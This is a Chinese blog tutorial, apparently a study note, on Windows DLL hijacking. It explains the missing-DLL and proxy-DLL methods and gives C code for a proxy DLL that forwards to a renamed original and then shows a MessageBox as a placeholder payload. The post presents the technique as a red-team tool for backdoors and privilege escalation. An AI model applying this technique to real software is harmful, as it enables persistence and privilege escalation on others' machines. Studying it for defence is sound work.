DLL劫持学习
前言
DLLhijacking是APT组织和各种红队所喜爱的操作,DLL劫持可用于留后门、权限提升、进程注入等。是个出家必备的技能
DLL介绍
动态链接库英文为DLL,是Dynamic Link Library的缩写。DLL是一个包含可由多个程序,同时使用的代码和数据的库。例如,在 Windows 操作系统中,Comdlg32.dll 执行与对话框有关的常见函数。因此,每个程序都可以使用该 DLL 中包含的功能来实现“打开”对话框。这有助于避免代码重用和促进内存的有效使用。 通过使用 DLL,程序可以实现模块化,由相对独立的组件组成。例如,一个计账程序可以按模块来销售。可以在运行时将各个模块加载到主程序中(如果安装了相应模块)。因为模块是彼此独立的,所以程序的加载速度更快,而且模块只在相应的功能被请求时才加载。
DLL劫持的分类
1.二进制文件调用缺少的DLL
2.劫持正常的DLL
第一种方法的利用方法:只需要找到缺少的dll路径生成恶意的DLL放入对应的路径即可,常使用的工具ProcessMonitor,缺点是有些dll路径是在权高的文件夹中。无一定权限没法操作
第二种方法:使用ProcessMonitor查看程序所加载的DLL,使用CFF_Explorer找到DLL的导入函数。使用IDA Pro分析DLL的函数,创建一个dll此dll加载正常的dll。等正常的DLL加载完成后执行恶意操作
这里我说第二种方法,第一种方法我已经说过了
实现DLL Hijack
这里使用C来做例子,首先使用C创建一个dll和exe
export.h
#ifdef BUILD_DLL //判断是否已加载BUILD_DLL
#define EXPORT __declspec(dllexport) //无的话设置为导出函数
#else
#define EXPORT __declspec(dllimport) //相反设置导入函数
#endif //结束判断
EXPORT void export(void); //定义DLL函数
export.c
#include <stdio.h>
#include "export.h"
EXPORT void export(){
printf("This is load dll test\n");
}
gcc编译成dll,用命令行执行gcc不要用clion编译
执行gcc -shared -o export.dll export.c -static
会生成一个dll
创建一个exe调用这个dll
01.exe
#include <windows.h>
#include <stdio.h>
typedef void (*fun)(); //定义dll函数里的类型
int main(){
HINSTANCE hdll;
fun add;
hdll=LoadLibrary("C:\\Users\\Administrator\\Desktop\\C_Master\\01\\export.dll");
if(hdll==NULL){
printf("fuck you load dll\n");
exit(1);
}
add=(fun)GetProcAddress(hdll,"export");
add();
FreeLibrary(hdll);
return 0;
}
我们使用CFF_Explorer可以看到dll的函数
使用IDA pro定位到这个函数进行分析
然后创建一个恶意的dll,这个dll的函数名为export,会加载被改名成demo.dll里面的export函数
#include <windows.h>
#include "export.h"
EXPORT void export(){
typedef void (*func)();
func add;
HINSTANCE hdll;
hdll=LoadLibrary("C:\\Users\\Administrator\\Desktop\\C_Master\\01\\demo.dll");
if(hdll!=NULL){
add=(func)GetProcAddress(hdll,"export");
add();
}
FreeLibrary(hdll);
MessageBox(NULL,TEXT("THis is DLL hijack"),TEXT("dll hijack"),MB_OK);
}
运行结果
参考链接
gcc打包成DLL的方法https://www.cnblogs.com/ser0632/p/4920653.html
C的条件编译http://c.biancheng.net/view/449.html
C的DLL导入和导出函数https://www.cnblogs.com/xd502djj/archive/2010/09/21/1832493.html
C加载DLLhttps://my.oschina.net/bbi094/blog/704163
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。
文章标题:DLL劫持学习
本文作者:九世
发布时间:2019-09-13, 10:01:55
最后更新:2019-09-13, 10:02:44
原始链接:http://jiushill.github.io/posts/47326ba8.html版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。